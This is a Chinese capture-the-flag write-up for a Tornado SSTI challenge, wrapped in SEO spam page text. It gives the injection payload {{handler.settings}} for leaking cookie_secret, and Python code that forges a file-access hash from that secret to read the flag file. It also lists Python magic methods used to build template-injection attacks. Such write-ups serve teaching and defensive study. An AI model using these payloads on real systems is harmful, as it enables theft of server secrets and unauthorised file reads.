当前位置: 首页 > wzjs >正文

网站建设软件 免费网站建设与维护模拟一

网站建设软件 免费,网站建设与维护模拟一,优秀电商设计网站有哪些,nas 支持做网站题目背景与信息收集 初始访问 题目提供三个文件链接: /flag.txt:提示flag位于/fllllllllllllag文件/welcome.txt:关键词render,暗示模板渲染漏洞(SSTI)/hints.txt:提示签名算法md5(cookie_secre…

题目背景与信息收集

  1. 初始访问
    题目提供三个文件链接:

    • /flag.txt:提示flag位于/fllllllllllllag文件
    • /welcome.txt:关键词render,暗示模板渲染漏洞(SSTI)
    • /hints.txt:提示签名算法md5(cookie_secret+md5(filename))

    访问文件的URL格式为:

    /file?filename=<文件名>&filehash=<哈希值>
    

    需通过计算正确的filehash才能读取目标文件。


漏洞利用:SSTI获取cookie_secret

  1. 发现注入点
    当尝试访问不存在的文件或错误的filehash时,页面跳转至/error?msg=Error。修改msg参数测试模板注入:

    • ?msg={{1}}返回1,确认存在模板注入。
    • 尝试表达式如{{1+1}}被过滤,但{{2^2}}返回0,说明存在符号限制但可通过其他方式绕过。
  2. 读取cookie_secret
    Tornado框架中,handler.settings指向RequestHandler.application.settings,其中包含服务端配置的cookie_secret。构造Payload:

    /error?msg={{handler.settings}}
    

    返回结果中提取cookie_secret值(如0ba42242-675d-4d06-b829-f529ad5a5558)。


计算filehash并构造flag访问链接

  1. 计算流程
    根据提示md5(cookie_secret+md5(filename)),具体步骤:

    • 计算文件名/fllllllllllllag的MD5:
      hashlib.md5("/fllllllllllllag".encode()).hexdigest()  
      # 示例:3bf9f6cf685a6dd8defadabfb41a03a1
      
    • 拼接cookie_secret与上述结果,再次计算MD5:
      cookie_secret = "0ba42242-675d-4d06-b829-f529ad5a5558"
      combined = cookie_secret + md5_filename
      final_hash = hashlib.md5(combined.encode()).hexdigest()  
      # 示例:dddaf12e2f65d9490dac30a26598414b
      
  2. 最终请求
    构造URL访问flag文件:

    /file?filename=/fllllllllllllag&filehash=dddaf12e2f65d9490dac30a26598414b
    

    页面返回flag:flag{7178302c-d8e3-4b4b-88f7-6e4c7dd41de9}


关键技术点解析

  1. Tornado框架特性 (参考:漏洞知识点《Tornado框架中的SSTI漏洞深度解析》)

    • handler.settings是Tornado的全局配置对象,存储敏感信息如cookie_secret
    • render函数未严格过滤用户输入,导致SSTI漏洞。
  2. 防御与绕过

    • 符号过滤限制算术操作,但通过直接访问框架内置对象绕过限制。
    • 需熟悉Tornado模板语法及内置变量,利用环境配置泄露敏感数据。

魔术方法:

在一些模板引擎中,存在一些用于访问对象属性和方法的魔术方法,可利用这些魔术方法构造SSTI漏洞。详细见我的文章小科普《常见魔术方法》以及漏洞知识点《Tornado框架中RequestHandler的对象》。

1. __class__:通过该魔术方法,攻击者可以获取目标对象的类名并进行操作。2. __bases__:该魔术方法返回目标对象所在类的所有父类的元组,
并且攻击者可以根据这些信息来构造恶意代码。3. __subclasses__():该魔术方法返回目标对象的所有子类,
并且攻击者可以根据这些信息来构造恶意代码。4. __globals__:该魔术方法返回当前作用域中的所有全局变量,
并且攻击者可以利用这些变量来执行恶意代码。5. __import__():该魔术方法用于动态加载模块,
并且攻击者可以利用这个方法来执行任意代码。

Tornado模板

在 Tornado 中,Handler 是处理请求的核心。通过继承 tornado.web.RequestHandler 类,可以定义处理 HTTP 请求的逻辑。主要方法如 get()、post()、write() 和 render() 使得在 web 应用中处理请求和响应变得简单。同时,路由的配置和请求参数的处理也提供了灵活和强大的功能。

  • handler.settings例子:
def make_app():settings = {"template_path": os.path.join(os.path.dirname(__file__), "templates"),"static_path": os.path.join(os.path.dirname(__file__), "static"),"debug": True,"cookie_secret": os.urandom(32),"xsrf_cookies": True,"login_url": "/login","default_handler_class": ErrorHandler,}return tornado.web.Application([(r"/", MainHandler),], **settings)

可以通过传入变量{{handler.settings}}获取配置设置

http://www.dtcms.com/wzjs/549769.html

相关文章:

  • 北京网站建设及优化建设网站视频
  • 中鼎国际建设集团网站wordpress输入框长度
  • 淘宝网商务网站建设目的开源网站官网
  • 湖州住房和城乡建设部网站手机版网页开发者工具
  • 龙华做网站联系电话今晚正式封城
  • 网站鼠标经过图片代码烟台做网站多钱
  • 做网站的感觉wordpress算数验证码
  • cnnic可信网站搜索引擎下载
  • 绵阳网站关键字优化服务器安全卫士
  • 东莞app培训网站建设有哪些网站做的比较好看
  • 免费免费建网站it外包人员有多惨
  • 网站建设的主要特征wordpress 安装不上
  • 网站自己推广临海网站开发公司
  • 铜煤建设网站wordpress 做网店
  • 定制网站建设报价单中国平安财产保险公司官网
  • 做网站域名的设置wordpress类似头条主题
  • 重庆有那些制作网站的公司网站建设喀什
  • 南京宜电的网站谁做的济南哪里做网站好
  • 建设施工合同备案在哪个网站接项目做的网站
  • 湖北省住房和城乡建设厅官方网站新开元电销系统
  • 中小学智慧校园建设平台网站网站怎么接广告
  • 网站开发的前景wordpress网站重做
  • 网站建设营销话术公司网站建设策划
  • php做网站脑图wordpress mysql缓存
  • 网站开发公司广告word手机代码网站有哪些问题
  • 怎么自己做导购网站synology建设网站
  • 自己做的网站主页被人篡改网站在哪里购买
  • 找人做海报在什么网站找在网上怎么赚钱
  • wordpress shortcodes北京网络排名优化
  • iis配网站网站点击按钮排序